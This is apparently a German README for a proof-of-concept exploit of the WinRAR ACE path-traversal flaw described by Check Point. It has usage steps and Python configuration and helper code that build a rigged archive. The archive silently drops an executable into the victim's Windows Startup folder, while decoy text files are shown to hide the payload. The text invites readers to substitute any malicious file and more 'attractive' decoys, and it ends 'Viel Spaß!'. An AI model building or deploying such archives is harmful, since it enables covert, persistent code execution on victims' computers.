
Exploit für https://research.checkpoint.com/extracting-code-execution-from-winrar
exp für Extracting Code Execution From Winrar
poc von Ridter
Wie benutzt man das?
Sie müssen nur Python 3.7 installieren und eine bösartige Datei vorbereiten, die Sie ausführen möchten, die gewünschten Werte setzen. Dieses Exploit-Skript erstellt die bösartige Archivdatei automatisch!
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
Führen Sie das Exploit aus, das Skript erstellt automatisch test.rar
Wenn das Opfer die Datei test.rar öffnet, sieht es die Dateien hello.txt und world.txt. Sie können auch weitere, attraktivere Dateien hinzufügen.
![]()
hi.exe, die eigentlich eine calc.exe ist. Wenn der Computer neu gestartet wird, wird hi.exe ausgeführt.![]()
Viel Spaß! :)